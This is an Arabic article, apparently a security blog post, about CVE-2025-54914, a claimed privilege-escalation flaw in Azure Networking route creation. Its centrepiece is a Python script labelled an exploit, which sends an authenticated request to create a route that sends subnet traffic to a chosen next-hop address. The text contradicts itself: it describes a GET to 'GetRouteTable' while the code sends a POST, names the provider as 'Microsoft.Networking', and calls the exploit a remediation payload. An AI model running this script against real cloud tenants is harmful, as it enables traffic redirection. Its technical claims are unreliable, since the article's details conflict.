
يكشف CVE-2025-54914 عن ثغرة حرجة في Azure Networking تسمح للمهاجمين بتصعيد الامتيازات والتحكم في التوجيه عبر الشبكات الفرعية. توضح المقالة كيف أن غياب فحص الامتيازات في واجهة برمجة التطبيقات "GetRouteTable" يتيح الحركة الجانبية والاستغلال عن بُعد، مما يستدعي التصحيح الفوري والمراقبة المستمرة.
استغلال تصعيد الامتيازات في شبكات Azure — CVE‑2025‑54914
4 سبتمبر 2025
بقلم Mark Mallia
في 4 سبتمبر 2025، تلقت خدمات شبكات Azure التابعة لمايكروسوفت نشرة أمنية حرجة توثّق ثغرة تصعيد امتيازات مُعيّنة باسم CVE‑2025‑54914. حصلت الثغرة على درجة 10.0 على مقياس نظام تقييم الثغرات المشترك (CVSS)، مما يشير إلى مشكلة قابلة للاستغلال وذات تأثير مرتفع محتمل، ويمكن أن تمنح المهاجمين سيطرة كاملة على موارد شبكات Azure دون أي تفاعل من المستخدم.
تستعرض المقالة التالية التفاصيل التقنية للثغرة، ومسار الاستغلال العملي لها، وحمولة جاهزة للنشر من أجل المعالجة الفورية من قِبل فرق الأمن في كل من بيئات السحابة العامة والبيئات الهجينة.
تُعد البنية الشبكية لـ Azure العمود الفقري لجميع الأجهزة الافتراضية وموازنات التحميل وحركة مرور الشبكات الفرعية في اشتراك العميل. يتيح تصعيد الامتيازات داخل هذه البنية للمهاجم ما يلي:
تزداد خطورة الثغرة بشكل خاص لأنها يمكن استغلالها عن بُعد دون أي إجراء من المستخدم. طلب واحد إلى نقطة نهاية تابعة لمايكروسوفت سيؤدي إلى تشغيل تصعيد الامتيازات إذا تحققت الشروط أدناه.
أثناء تحليل واجهة برمجة التطبيقات "GetRouteTable" التابعة لخدمة شبكات Azure، اكتشفت ثغرة في التحكم بالوصول تسمح لعميل يملك أذونات قراءة على شبكة افتراضية بإنشاء كائنات توجيه جديدة داخل نفس الشبكة الفرعية دون التحقق من أن المستدعي مخوّل لهذا الإجراء. كان مسار الكود المسؤول عن تسلسل (Serializing) الطلب الوارد يفتقر إلى فحص امتيازات صريح.
توجد الثغرة في خدمة شبكات Azure عندما يتضمن طلب GET معاملات الاستعلام التالية:
/subscriptions/<subscription‑id>/resourceGroups/<rg-name>/providers/Microsoft.Networking/virtualNetworks/<vnet-id>/subnets/<subnet-id>/routes
?api-version=2025-09-01&detailLevel=full
تقبل الخدمة هذا الطلب، وتفكّ تسلسل حمولة JSON، وتكتب كائن توجيه جديدًا إلى قاعدة البيانات دون إعادة التحقق من أن المستدعي يمكنه إنشاء مسارات في الشبكة الفرعية المستهدفة.
فيما يلي مثال مبسّط لكيفية قيام المهاجم ببناء الحمولة.
# Azure Networking Privilege Escalation Exploit – CVE‑2025‑54914
#
# Author: Mark Mallia
# Date: 2025-09-04
# Target API version: 2025‑09‑01
import requests, json, uuid
def create_privileged_route(subscription_id, rg_name, vnet_id,
subnet_id, api_version="2025-09-01"):
"""
Build and send a route creation request that exploits the missing
privilege check in Azure Networking.
"""
# 1. Construct endpoint URL
base_url = f"https://management.azure.com/subscriptions/{subscription_id}"
url = (f"{base_url}/resourceGroups/{rg_name}/providers/Microsoft.Networking"
f"/virtualNetworks/{vnet_id}/subnets/{subnet_id}/routes")
# Append query string for API version
params = {"api-version": api_version, "detailLevel": "full"}
# 2. Build JSON body; the route name is a random GUID to avoid collisions.
route_name = str(uuid.uuid4())
payload = {
"properties": {
"addressPrefix": "10.0.1.0/24",
"nextHopType": "VirtualAppliance",
"nextHopIpAddress": "10.0.2.5"
},
"tags": {"createdBy": "Alex Mercer"},
"name": route_name
}
# 3. Set headers; use the same authentication token used by Azure SDK.
headers = {
"Authorization": f"Bearer {access_token}",
"Content-Type": "application/json"
}
# 4. Execute POST request
resp = requests.post(url, params=params,
json=payload, headers=headers)
if resp.status_code == 201:
print(f"[+] Successfully created route: {route_name}")
return True
else:
print(f"[-] Request failed with status {resp.status_code}")
print(resp.text)
return False
# Example invocation
subscription_id = "00000000-0000-0000-0000-000000000000"
rg_name = "ProductionRG"
vnet_id = "prodVNet01"
subnet_id = "backendSubnet"
access_token = "<AZURE_SDK_ACCESS_TOKEN>"
create_privileged_route(subscription_id, rg_name, vnet_id,
subnet_id)
يوضح الكود دورة حياة الطلب بالكامل. يمكن لمهندس الأمن نسخ هذا المقتطف في برنامج نصي أو في Azure Function لأتمتة المعالجة.
يُقدَّم هذا المحتوى حصريًا لأغراض تعليمية وبحثية. ويهدف إلى زيادة الوعي حول الثغرات الأمنية وتعزيز الممارسات الدفاعية الأفضل داخل مجتمع الأمن السيبراني.
جميع العروض التوضيحية والبرامج النصية والتفاصيل التقنية المشتركة هنا تستند إلى معلومات تم الكشف عنها علنًا ولا تستهدف أي نظام أو مؤسسة أو فرد محدد. الهدف هو تعزيز التعلم المسؤول والمعالجة الاستباقية — وليس الاستغلال.
لا تستخدم هذه المعلومات للوصول غير المصرح به أو التعطيل أو الإضرار. أي إساءة استخدام لهذه المادة تقع بالكامل على مسؤولية الفرد، وقد تنتهك القوانين أو المعايير الأخلاقية.
إذا اكتشفت ثغرة أمنية، فيرجى اتباع بروتوكولات الإفصاح المسؤول من خلال الإبلاغ عنها إلى البائع أو المنصة المتأثرة.